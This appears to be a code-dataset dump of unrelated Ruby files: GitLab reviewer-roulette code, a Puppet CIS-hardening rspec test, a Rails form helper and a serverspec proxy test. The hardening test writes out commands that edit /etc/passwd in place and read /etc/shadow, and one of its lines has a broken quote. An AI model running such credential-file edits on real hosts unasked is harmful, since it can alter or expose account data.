# https://gitlab.com/gitlab-org/gitlab/issues/26723
# Make traintainers have triple the chance to be picked as a reviewer
random = new_random(branch_name)
reviewer = spin_for_person(reviewers + traintainers + traintainers, random: random, timezone_experiment: timezone_experiment)
maintainer = spin_for_person(maintainers, random: random, timezone_experiment: timezone_experiment)
Spin.new(category, reviewer, maintainer)
end
end
end
end
| 34.763889 | 151 | 0.65002 |
6229b37143c3ffed2306dedcd7671471cea59c12 | 2,487 | require 'spec_helper'
describe 'cis_hardening::maint::usergroups' do
on_supported_os.each do |os, os_facts|
context "on #{os}" do
let(:facts) { os_facts }
# Check fr default class
it {
is_expected.to contain_class('cis_hardening::maint::usergroups')
}
# Ensure accounts in /etc/passwd use shadowed passwords - Section 6.2.1
it {
is_expected.to contain_exec('shadowed_passwords_check').with(
'path' => '/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin',
'command' => "sed -e 's/^\([a-zA-Z0-9_]*\):[^:]*:/\1:x:/' -i /etc/passwd",
'onlyif' => "test ! `awk -F: '($2 != "x" )' /etc/passwd`",
)
}
# Ensure /etc/shadow password fields are not empty - Section 6.2.2
it {
is_expected.to contain_exec('shadow_password_field_check').with(
'path' => '/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin',
'command' => 'logger -p crit "Shadow Password Fields Empty. Check manually."',
'onlyif' => "test ! `awk -F: '($2 == "" )' /etc/shadow |wc -l` -gt 0",
)
}
# Ensure the root account is the only UID 0 Account - Section 6.2.3
it {
is_expected.to contain_exec('only_one_uid0').with(
'path' => '/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin',
'command' => 'logger -p crit "More than one user has a UID of 0"',
'onlyif' => "test ! `awk -F: '($3 == 0) { print $1 }' /etc/passwd |grep -v root`",
)
}
# Ensure root PATH integrity - Section 6.2.4
# Check for empty Directory in path
it {
is_expected.to contain_exec('check_empty_root_dir_path').with(
'path' => '/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin',
'command' => 'logger -p crit "Empty Directory in root PATH (::)"',
'onlyif' => 'test `echo "$PATH" | grep -q "::"`',
)
}
# Check for trailing : in root PATH
it {
is_expected.to contain_exec('check_trailing_colon_root_path').with(
'path' => '/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin',
'command => 'logger -p crit "Trailing : in root PATH."',
onlyif => 'test ! `echo "$PATH" |grep -q ":$"`',
)
}
# Ensure manifest compiles with all dependencies
it {
is_expected.to compile.with_all_deps
}
end
end
end
| 37.119403 | 93 | 0.553277 |
1c6c85bf4d8e48ba36bf8443e22fb632ecb5447d | 233 | require 'action_view'
class ActionView::Helpers::FormBuilder
include ActionView::Helpers::AssetTagHelper
def t_date_field(method, options = {})
@template.render 'tax_jp/common/date_field', f: self, method: method
end
end | 23.3 | 72 | 0.755365 |
28796d0944d376135186ad504cab0fb26046c672 | 360 | require 'spec_helper'
describe 'loggly_github::proxy' do
describe command("curl -v --data '' --proxy '' -k http://www.cm.dev:1235") do
its(:stderr) { should match('< Location: https://www.cm.dev:1235/') }
end
describe command("curl --data '' --proxy '' -k https://www.cm.dev:1235") do
its(:stdout) { should match('Cannot POST /') }
end
end
| 25.714286 | 79 | 0.627778 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.